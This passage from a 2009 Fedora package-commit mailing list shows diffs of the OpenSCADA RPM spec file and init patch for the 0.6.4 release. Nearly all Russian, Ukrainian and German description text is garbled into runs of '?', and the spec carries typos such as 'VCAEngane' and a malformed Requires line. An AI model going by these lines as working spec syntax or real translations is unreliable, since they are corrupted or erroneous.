-Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
+The %name-Transport-SSL allows security socket layer based
+transport. Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l ru_RU.UTF8
-????? %name-Transport-SSL ????????????? ????????? ?????????? ?? ????
-?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
+????? %name-Transport-SSL ????????????? ????????? ??????????
+?? ???? ?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
 and TLSv1.
 %description Transport-SSL -l uk_UA.UTF8
-????? %name-Transport-SSL ????? ????????? ????????? ?? ?????????? ???? ???????.
- ??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
+????? %name-Transport-SSL ????? ????????? ????????? ??
+?????????? ???? ???????.
+??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l de_DE.UTF8
-Das Paket %name-Transport-SSL enthaelt den auf der Schicht der unfallfesten
-Sockets begruendeten Transport. Es werden OpenSSL benutzt und SSLv2, SSLv3
-und TLSv1 unterstuetzt.
+Das Paket %name-Transport-SSL enth?lt den auf der Schicht der
+unfallfesten.
+Sockets begr?ndeten Transport. Es werden OpenSSL und SSLv2, SSLv3
+und TLSv1 benutzt und unterst?tzt.
 %endif
 
 %if 0%{?with_sockets}
@@ -611,20 +712,22 @@ Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-Sockets
-The %name-Transport-Sockets allows sockets based transport. Supports inet
-and unix sockets. Inet socket uses TCP and UDP protocols.
+The %name-Transport-Sockets allows sockets based transport.
+Supports inet and unix sockets.
+Inet socket uses TCP and UDP protocols.
 %description Transport-Sockets -l ru_RU.UTF8
-????? %name-Transport-Sockets ???????????? ????????? ?????????? ?? ???????.
-?????????????? ???????? ? UNIX ??????. ???????? ????? ?????????? TCP ? UDP
-?????????.
+????? %name-Transport-Sockets ???????????? ????????? ??????????
+?? ???????. ?????????????? ???????? ? UNIX ??????.
+???????? ????? ?????????? TCP ? UDP ?????????.
 %description Transport-Sockets -l uk_UA.UTF8
 ????? %name-Transport-Sockets ????? ????????? ????????? ?? ???????.
 ????????????? ???????? ?? UNIX ??????. ???????? ????? ???????????? TCP
 ?? UDP ?????????.
 %description Transport-Sockets -l de_DE.UTF8
-Das Paket %name-Transport-Sockets ermoeglicht den auf Sockets begruendeten
-Transport. Unterstuetzt werden Internet- und UNIX-Sockets. Internetsocket
-benutzt TCP und UDP Protokolle.
+Das Paket %name-Transport-Sockets gew?hrt den auf Sockets
+begr?ndeten Transport.
+Unterst?tzt werden die Internet- und UNIX-Sockets.
+Das Internetsocket benutzt die TCP und UDP-Protokolle.
 %endif
 
 %if 0%{?with_serial}
@@ -637,19 +740,20 @@ The %name-Transport-Serial, allow serial
 data exchanging through serial interfaces like RS232, RS485, GSM
 and other.
 %description Transport-Serial -l ru_RU.UTF8
-????? %name-Transport-Serial, ????????????? ???????????????? ?????????.
-???????????? ??? ?????? ??????? ????? ???????????????? ??????????
+????? %name-Transport-Serial, ????????????? ????????????????
+?????????. ???????????? ??? ?????? ??????? ????? ???????????????? ??????????
 ???? RS232, RS485, GSM ? ??????.
 %description Transport-Serial -l uk_UA.UTF8
 ????? %name-Transport-Serial, ????? ?????????? ??????????.
 ???????????????? ??? ?????? ?????? ????? ?????????? ???????????
 ???? RS232, RS485, GSM ?? ????.
 %description Transport-Serial -l de_DE.UTF8
-Das Paket %name-Transport-Serial, ermoeglicht konsequenten
-Nutzersinterface. Wird fuer das Umtauschen von Daten durch konsequente
+Das Paket %name-Transport-Serial, gew?hrt das konsequente
+Nutzersinterface. Wird f?r das Umtauschen von Daten durch konsequente
 Interfaces wie RS232, RS485, GSM und andere benutzt.
 %endif
 
+############################# Functions-System #########################
 %if 0%{?with_flibcomplex}
 %package Special-FlibComplex1
 Summary: Open SCADA special
@@ -665,7 +769,7 @@ Complex1 (SCADA Complex1 functions).
 ????? %name-Special-FlibComplex1 ????? ???????? ?????????? ???????
 Complex1 (??????? SCADA Complex1).
 %description Special-FlibComplex1 -l de_DE.UTF8
-Das Paket %name-Special-FlibComplex1s enthaelt statische
+Das Paket %name-Special-FlibComplex1s enth?lt statische
 Bibliothek der Complex1-Funktionen (Funktionen SCADA Complex1).
 %endif
 
@@ -675,15 +779,17 @@ Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-FlibMath
-The %name-Special-FlibMath allows mathematic static function library.
+The %name-Special-FlibMath allows mathematic static function
+library.
 %description Special-FlibMath -l ru_RU.UTF8
 ????? %name-Special-FlibMath ????????????? ?????????? ???????????
 ?????????????? ???????.
 %description Special-FlibMath -l uk_UA.UTF8
-????? %name-Special-FlibMath ????? ???????? ?????????? ???????????? ???????.
+????? %name-Special-FlibMath ????? ???????? ??????????
+???????????? ???????.
 %description Special-FlibMath -l de_DE.UTF8
-The %name-Special-FlibMath : #Das Paket %name-Special-FlibMath enthaelt
-Standardbibliothek der mathematischen Funktionen.
+Das Paket %name-Special-FlibMath enth?lt die Standardbibliothek
+der mathematischen Funktionen.
 %endif
 
 %if 0%{?with_flibsys}
@@ -698,27 +804,30 @@ of the user programming area.
 ????? %name-Special-FlibSys ????????????? ? ??????? ??????????
 ?????????? API ????? ????????????????? ????????????????.
 %description Special-FlibSys -l uk_UA.UTF8
-????? %name-Special-FlibSys ????? ? ??????? ?????????? ?????????? API
-?????????? ????????????? ???????????.
+????? %name-Special-FlibSys ????? ? ??????? ??????????
+?????????? API ?????????? ????????????? ???????????.
 %description Special-FlibSys -l de_DE.UTF8
-Das Paket %name-Special-FlibSys ermoeglicht in das System die
+Das Paket %name-Special-FlibSys gew?hrt in das System die
 Bibliothek der API-Systemprogrammierung des Nutzersbereiches.
 %endif
 
+######################### Tests-System ##############################
 %if 0%{?with_systemtests}
 %package Special-SystemTests
 Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-SystemTests
-The %name-Special-SystemTests allows the group tests for OpenSCADA system.
+The %name-Special-SystemTests allows the group tests
+for OpenSCADA system.
 %description Special-SystemTests -l ru_RU.UTF8
-????? %name-Special-SystemTests ????????????? ?????? ?????? ??? ???????
-OpenSCADA.
+????? %name-Special-SystemTests ????????????? ?????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l uk_UA.UTF8
-????? %name-Special-SystemTests ????? ????? ?????? ??? ??????? OpenSCADA.
+????? %name-Special-SystemTests ????? ????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l de_DE.UTF8
-Das Paket %name-Special-SystemTests enthaelt die Testgruppe fuer das
+Das Paket %name-Special-SystemTests enth?lt die Testgruppe f?r das
 OpenSCADA-System
 %endif
 
@@ -732,7 +841,7 @@ The %name-doc package include documents 
 %description doc -l uk_UA.UTF8
 ????? %name-doc ??????? ????? ????????????.
 %description doc -l de_DE.UTF8
-Das Paket %name-doc enthaelt Dokumentationsdateien.
+Das Paket %name-doc enth?lt die Dokumentationsdateien.
 
 %package devel
 Summary: Open SCADA development
@@ -745,13 +854,18 @@ The %name-devel package includes library
 %description devel -l uk_UA.UTF8
 ????? %name-devel ??????? ????? ????????? ?? ????????? ?????.
 %description devel -l de_DE.UTF8
-Das Paket %name-devel enthaelt Bibliothekenarchiv und eingeschlossene
+Das Paket %name-devel enth?lt das Bibliothekenarchiv und die
+eingeschlossenen
 Dateien.
 
 %package demo
 Summary: Open SCADA demo data bases and config
 Group: Applications/Engineering
 Requires:%{name} = %{version}-%{release}
+# ############### DB ########################
+%if 0%{?with_dbarch}
+Requires:%{name}-DB-SQLite = %{version}-%{release}
+%endif
 # ############### ARH ########################
 %if 0%{?with_dbarch}
 Requires:%{name}-ARH-DBArch = %{version}-%{release}
@@ -776,6 +890,9 @@ Requires:%{name}-Special-SystemTests = %
 %if 0%{?with_blockcalc}
 Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
 %endif
+%if 0%{?with_modbus}
+Requires:%{name}-DAQ-ModBus = %{version}-%{release}
+%endif
 %if 0%{?with_javalikecalc}
 Requires:%{name}-DAQ-JavaLikeCalc = %{version}-%{release}
 %endif
@@ -785,12 +902,12 @@ Requires:%{name}-DAQ-LogicLevel = %{vers
 %if 0%{?with_system}
 Requires:%{name}-DAQ-System = %{version}-%{release}
 %endif
-%if 0%{?with_blockcalc}
-Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
-%endif
 %if 0%{?with_daqgate}
 Requires:%{name}-DAQ-Gate = %{version}-%{release}
 %endif
+%if 0%{?with_icpdas}
+Requires:%{name}-DAQ-IcpDas = %{version}-%{release}
+%endif
 # ############### HTTP ########################
 %if 0%{?with_http}
 Requires:%{name}-Protocol-HTTP = %{version}-%{release}
@@ -816,8 +933,11 @@ Requires:%{name}-UI-QTStarter = %{versio
 %if 0%{?with_qtcfg}
 Requires:%{name}-UI-QTCfg = %{version}-%{release}
 %endif
-%if 0%{?with_qtvision}
-Requires:%{name}-UI-QTVision = %{version}-%{release}
+%if 0%{?with_uivision}
+Requires:%{name}-UI-Vision = %{version}-%{release}
+%endif
+%if 0%{?with_uivcaengine}
+Requires:%{name}-UI-VCAEngane = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -829,28 +949,149 @@ Requires:%{name}-UI-WebCfgd = %{version}
 %if 0%{?with_webvision}
 Requires:%{name}-UI-WebVision = %{version}-%{release}
 %endif
-
 %description demo
 The %{name}-demo package includes demo data bases and configs.
 For start use command <openscada_demo>. For access use account
 "root" and password "openscada" or account "user" without password.
 %description demo -l ru_RU.UTF8
-????? %{name}-demo ???????? ???????????????? ???? ?????? ? ????????????.
-??? ?????? ??????????? ??????? <openscada_demo>. ??? ??????? ??????????? ??????
-"root" ? ?????? "openscada" ??? ?????? "user" ??? ??????.
+????? %{name}-demo ???????? ???????????????? ???? ?????? ?
+????????????. ??? ?????? ??????????? ??????? <openscada_demo>.
+??? ??????? ??????????? ?????? "root" ? ?????? "openscada"
+??? ?????? "user" ??? ??????.
 %description demo -l uk_UA.UTF8
-????? %{name}-demo ??????? ?????????????? ???? ????? ?? ????????????. ???
-?????? ?????????????? ??????? <openscada_demo>. ??? ??????? ??????????????
-????? "root" ?? ?????? "openscada" ??? ????? "user" ??? ??????.
+????? %{name}-demo ??????? ?????????????? ???? ????? ??
+????????????. ??? ?????? ?????????????? ??????? <openscada_demo>.
+??? ??????? ?????????????? ????? "root" ?? ?????? "openscada"
+??? ????? "user" ??? ??????.
 %description demo -l de_DE.UTF8
-Das Paket %{name}-demo enthaelt Demodatenbanken und Konfigurationen. Fuers
-Starten wird Kommando <openscada_demo> benutzt. Fuer den Zugang benutzen Sie
-die Anschreibung "root" und das Kennwort "openscada" oder die Anschreibung
-"user" ohne Kennwort.
+Das Paket %{name}-demo enth?lt die Demodatenbanken und
+Konfigurationen. F?rs Starten wird Kommando <openscada_demo>
+benutzt. F?r den Zugang benutzen Sie die Anschreibung "root"
+und das Kennwort "openscada" oder die Anschreibung "user" ohne Kennwort.
+
+# ############################### Virtual Packages ###################################
+%package plc
+Summary: OpenSCADA PLC.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-Archive-FSArch
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-System
+Requires: %name-DB-SQLite
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Transport-Sockets
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfgD
+Requires: %name-UI-WebVision
+%description plc
+The %name-plc package is virtual package for PLC.
+%description plc -l ru_RU.UTF8
+????? %name-plc ??? ??????????? ????? ??? ???.
+%description plc -l uk_UA.UTF8
+????? %name-plc ?? ??????????? ????? ??? ???.
+%description plc -l de_RU.UTF8
+????? %name-plc ist das Virtualpaket f?r PLC.
+
+%package server
+Summary: OpenSCADA server.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DB-FireBird
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-DiamondBoards
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfg
+Requires: %name-UI-WebVision
+Requires: %name-WebCfgD
+Requires: %name-Special-FLibComplex1
+Requires: %name Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description server
+The %name-server package is virtual package for OpenSCADA-server.
+%description server -l ru_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l uk_UA.UTF8
+????? %name-server ?? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l de_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+
+%package visStation
+Summary: OpenSCADA visual station.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-Vision
+%if 0%{?rhel}
+Requires: %name-UI-QTStarter
+Requires: %name-UI-QTCfg
+%endif
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description visStation
+The %name-visStation package is virtual package for visual
+station (OpenSCADA).
+%description visStation -l ru_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
+%description visStation -l uk_UA.UTF8
+????? %name-visStation ?? ??????????? ????? ??? ???????
+?????????? ??????? (OpenSCADA).
+%description visStation -l de_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
 
 %prep
 %setup -q -n %{srcname}
 %patch0 -p1 -b .fedora
+#%patch1 -p1 -b .openssl
 %{__sed} -i 's|/usr/lib/|%{_libdir}/|' data/oscada*.xml
 
 %build
@@ -870,7 +1111,8 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_modbus:--disable-ModBus} \
 	%{!?with_soundcard:--disable-SoundCard} \
 	%{!?with_qtcfg:--disable-QTCfg} \
-	%{!?with_qtvision:--disable-Vision} \
+	%{!?with_uivision:--disable-Vision} \
+	%{!?with_uivcaengine:--disable-VCAEngine} \
 	%{!?with_ssl:--disable-SSL} \
 	%{!?with_serial:--disable-Serial} \
 	%{!?with_sockets:--disable-Sockets} \
@@ -883,6 +1125,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_javalikecalc:--disable-JavaLikeCalc} \
 	%{!?with_logiclevel:--disable-LogicLev} \
 	%{!?with_daqgate:--disable-DAQGate} \
+	%{!?with_icpdas:--disable-ICP_DAS} \
 	%{!?with_selfsystem:--disable-SelfSystem} \
 	%{!?with_flibcomplex:--disable-FlibComplex1} \
 	%{!?with_flibmath:--disable-FlibMath} \
@@ -893,6 +1136,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 make %{?_smp_mflags}
 
 %install
+%{__rm} -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
 # let's try to get rid of rpath
@@ -966,6 +1210,7 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_javalikecalc: %exclude %{_libdir}/openscada/daq_JavaLikeCalc.so}
 %{?with_logiclevel: %exclude %{_libdir}/openscada/daq_LogicLev.so}
 %{?with_daqgate: %exclude %{_libdir}/openscada/daq_DAQGate.so}
+%{?with_icpdas: %exclude %{_libdir}/openscada/daq_ICP_DAS.so}
 %{?with_selfsystem: %exclude %{_libdir}/openscada/prot_SelfSystem.so}
 %{?with_firebird: %exclude %{_libdir}/openscada/bd_FireBird.so}
 %{?with_mysql: %exclude %{_libdir}/openscada/bd_MySQL.so}
@@ -977,8 +1222,10 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_webcfgd: %exclude %{_libdir}/openscada/ui_WebCfgD.so}
 %{?with_webvision: %exclude %{_libdir}/openscada/ui_WebVision.so}
 %{?with_http: %exclude %{_libdir}/openscada/prot_HTTP.so}
+%{?with_qtstarter: %exclude %{_libdir}/openscada/ui_QTStarter.so}
 %{?with_qtcfg: %exclude %{_libdir}/openscada/ui_QTCfg.so}
-%{?with_qtvision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivcaengine: %exclude %{_libdir}/openscada/ui_VCAEngine.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_SSL.so}
 %{?with_sockets: %exclude %{_libdir}/openscada/tr_Sockets.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_Serial.so}
@@ -992,6 +1239,15 @@ desktop-file-install --dir=%{buildroot}%
 %{_localstatedir}/spool/openscada/ARCHIVES/MESS/info
 %{_localstatedir}/spool/openscada/ARCHIVES/VAL/info
 
+%files plc
+%defattr(-,root,root)
+
+%files server
+%defattr(-,root,root)
+
+%files visStation
+%defattr(-,root,root)
+
 %files doc
 %defattr(-,root,root)
 %doc doc/*.pdf doc/Modules
@@ -1062,6 +1318,12 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/daq_DAQGate.so
 %endif
 
+%if 0%{?with_icpdas}
+%files DAQ-IcpDas
+%defattr(-,root,root)
+%{_libdir}/openscada/daq_ICP_DAS.so
+%endif
+
 %if 0%{?with_selfsystem}
 %files Protocol-SelfSystem
 %defattr(-,root,root)
@@ -1143,12 +1405,18 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/ui_QTCfg.so
 %endif
 
-%if 0%{?with_qtvision}
-%files UI-QTVision
+%if 0%{?with_uivision}
+%files UI-Vision
 %defattr(-,root,root)
 %{_libdir}/openscada/ui_Vision.so
 %endif
 
+%if 0%{?with_uivcaengine}
+%files UI-VCAEngine
+%defattr(-,root,root)
+%{_libdir}/openscada/ui_VCAEngine.so
+%endif
+
 %if 0%{?with_ssl}
 %files Transport-SSL
 %defattr(-,root,root)
@@ -1209,19 +1477,39 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
+- The change version for release 0.6.4
+- Moved Ui-VCAEngane module to the self package
+- Removed QTStarter module from the main package
+- Added the virtual plc, server, visStation packages
+- Some cosmetics.
+
+* Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
+- Adding self module ICP_DAS
+- Fixed Germany Language translations by Popkova Irina
+- Delete openscada-0.6.3.3-openssl.patch from previouns version
+- Adding the next version of the package.
+
+* Tue Sep 1 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.3-13
+- Adding Requires for webcfg, webcfgd, webvision, http and snmp
+- Some cosmetics.
+
+* Tue Aug 25 2009 Tomas Mraz <tmraz at redhat.com> - 0.6.3.3-12
+- rebuilt with new openssl
+
 * Mon Jul 27 2009 Popkov Aleksey <aleksey at oscada.org.ua> - 0.6.3.3-11
-- Fixed of macros %find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
+- Fixed of macros find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.3.3-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild.
 
 * Tue Jul 14 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-9
-- Adding %find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
+- Adding find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Tue Jun 30 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-8
 - Added of dependences in to self package demo
-- Fixed %preun section by Peter Lemenkov <lemenkov at gmail.com>
+- Fixed preun section by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Wed Jun 19 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-7
@@ -1299,7 +1587,7 @@ desktop-file-install --dir=%{buildroot}%
 - add Athena board specific build
 
 * Wed Nov 03 2004 Roman Savochenko <rom_as at fromru.com>
-- move the message arhives data to /var/spool/%{name}/ARHIVE/MESS
+- move the message arhives data to /var/spool/{name}/ARHIVE/MESS
 
 * Tue Apr 06 2004 Roman Savochenko <rom_as at fromru.com>
 - make 3 packages: OpenScada, OpenScada-devel, OpenScada-testdata

oscada.init.patch:
 oscada.init |   49 +++++++++++++++++++++++++++++++++++--------------
 1 file changed, 35 insertions(+), 14 deletions(-)

Index: oscada.init.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/oscada.init.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- oscada.init.patch	17 Jun 2009 13:18:34 -0000	1.3
+++ oscada.init.patch	13 Oct 2009 09:48:24 -0000	1.4
@@ -2,15 +2,6 @@ diff --git a/data/oscada.init b/data/osc
 index 21744dd..cdecaf8 100644
 --- a/data/oscada.init
 +++ b/data/oscada.init
-@@ -2,7 +2,7 @@
- #
- # Init file for OpenSCADA system demon.
- #
--# chkconfig: 2345 99 05
-+# chkconfig: - 99 05
- # description: Open SCADA System server daemon
- #
- # processname: openscada
 @@ -13,25 +13,45 @@ WITHOUT_RC_COMPAT=1
  # Source function library.
  . /etc/init.d/functions


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Jun 2009 12:15:16 -0000	1.3
+++ sources	13 Oct 2009 09:48:24 -0000	1.4
@@ -1 +1 @@
-f66f45c28ba9c50f0d38f8a2e76cd741  openscada-0.6.3.3.tar.gz
+9288241adecd71bd28a98695b7648965  openscada-0.6.4.tar.gz



From aleksey2005 at fedoraproject.org  Tue Oct 13 09:50:18 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Tue, 13 Oct 2009 09:50:18 +0000 (UTC)
Subject: rpms/openscada/devel .cvsignore, 1.2, 1.3 import.log, 1.7,
	1.8 openscada.spec, 1.12, 1.13 oscada.init.patch, 1.3,
	1.4 sources, 1.2, 1.3 openscada-0.6.3.3-openssl.patch, 1.1, NONE
Message-ID: <20091013095018.168DA11C029E@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5846/devel

Modified Files:
	.cvsignore import.log openscada.spec oscada.init.patch sources 
Removed Files:
	openscada-0.6.3.3-openssl.patch 
Log Message:
Release OpenSCADA 0.6.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	15 Jun 2009 08:12:48 -0000	1.2
+++ .cvsignore	13 Oct 2009 09:50:17 -0000	1.3
@@ -1 +1 @@
-openscada-0.6.3.3.tar.gz
+openscada-0.6.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	19 Jun 2009 21:34:51 -0000	1.7
+++ import.log	13 Oct 2009 09:50:17 -0000	1.8
@@ -5,3 +5,4 @@ openscada-0_6_3_3-5_fc10:HEAD:openscada-
 openscada-0_6_3_3-6_fc10:HEAD:openscada-0.6.3.3-6.fc10.src.rpm:1245335929
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245444161
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245447259
+openscada-0_6_4-1_fc11:HEAD:openscada-0.6.4-1.fc11.src.rpm:1255427409


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/openscada.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- openscada.spec	25 Aug 2009 18:37:18 -0000	1.12
+++ openscada.spec	13 Oct 2009 09:50:17 -0000	1.13
@@ -14,6 +14,7 @@
 %bcond_without javalikecalc
 %bcond_without logiclevel
 %bcond_without daqgate
+%bcond_with icpdas
 # ======== Protocol ========
 %bcond_without selfsystem
 # ========= DATA BASES =====
@@ -31,15 +32,16 @@
 # ========== HTTP Protocol =========
 %bcond_without http
 # ========== QT Interfaces ==========
+%bcond_without uivcaengine
 # QT4 devel old in to CentOs
 %if 0%{?rhel}
 %bcond_with qtstarter
 %bcond_with qtcfg
-%bcond_with qtvision
+%bcond_with uivision
 %else
 %bcond_without qtstarter
 %bcond_without qtcfg
-%bcond_without qtvision
+%bcond_without uivision
 %define _desktopdir %_datadir/applications
 %define _iconsdir /usr/share/icons
 %endif
@@ -53,21 +55,23 @@
 %bcond_without flibsys
 %bcond_without systemtests
 
-# DIAMONDBOARDS - Only for x86_32
+# Only for x86_32
 %ifarch x86_64
-%if 0%{?with_diamondboards}
-%{error: DIAMONDBOARDS support available only for %{ix86} target}
+  %if 0%{?with_diamondboards}
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
 %endif
+  %if 0%{?with_icpdas}
+  %{error: ICP_DAS support available only for %{ix86} target }
+  %endif
 %endif
 
 Summary: Open SCADA system project
 Name: openscada
-Version: 0.6.3.3
-Release: 12%{?dist}
+Version: 0.6.4
+Release: 1%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
-Patch1: openscada-0.6.3.3-openssl.patch
 License: GPLv2
 Group: Applications/Engineering
 URL: http://oscada.org.ua
@@ -96,6 +100,7 @@ BuildRequires: libtool
 BuildRequires: desktop-file-utils
 BuildRequires: sed
 BuildRequires: chrpath
+BuildRequires: net-snmp-devel
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -110,7 +115,7 @@ Open SCADA system. For access use accoun
 ???????? SCADA ???????. ??? ??????? ?????????????? ????? "root" ?? ??????
 "openscada".
 %description -l de_DE.UTF8
-Das offene SCADA System. Fuer den Zugang die Aufzeichnung "root" und das
+Das offene SCADA System. F?r den Zugang die Aufzeichnung "root" und das
 Kennwort "openscada" benutzen.
 
 %post
@@ -125,25 +130,26 @@ if [ $1 = 0 ]; then
  /sbin/chkconfig --del openscadad
 fi
 
+################## DAQ-System ###########################
 %if 0%{?with_diamondboards}
 %package DAQ-DiamondBoards
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-DiamondBoards
-The %name-DAQ-DiamondBoards allows access to Diamond systems DA boards.
-Includes support of Athena board.
+The %name-DAQ-DiamondBoards allows access to Diamond systems
+DA boards. Includes support of Athena board.
 %description DAQ-DiamondBoards -l ru_RU.UTF8
 ????? %name-DAQ-DiamondBoards ????????????? ?????? ? ?????? ?????
 ?????? ????? Diamond systems. ???????? ????????? ????????? ?????
 Athena.
 %description DAQ-DiamondBoards -l uk_UA.UTF8
-????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ????? ?????
-Diamond systems. ??????? ????????? ????????? ????? Athena.
+????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ?????
+????? Diamond systems. ??????? ????????? ????????? ????? Athena.
 %description DAQ-DiamondBoards -l de_DE.UTF8
-Das Paket %name-DAQ-DiamondBoards ermoeglicht den Zugang zur
-Datenerfassung der Firma Diamond systems.Es enthaelt die Unterstuetzung
-der Systemplatte Athena.
+Das Paket %name-DAQ-DiamondBoards erm?glicht den Zugang zur
+Datenerfassung der Firma Diamond Systems.Es enth?lt die
+Unterst?tzung der Systemplatte Athena.
 %endif
 
 %if 0%{?with_dcon}
@@ -161,8 +167,8 @@ Supported I-7000 DCON protocol.
 ????? %name-DAQ-DCON ????? ?????????? ???????????? ??????? DCON.
 ????????????? I-7000 DCON ????????.
 %description DAQ-DCON -l de_DE.UTF8
-Das Paket %name-DAQ-DCON ermoeglicht Verwirklichung des
-Kundenservices des DCON-Protoklls. Unterstueuzung Prototkoll
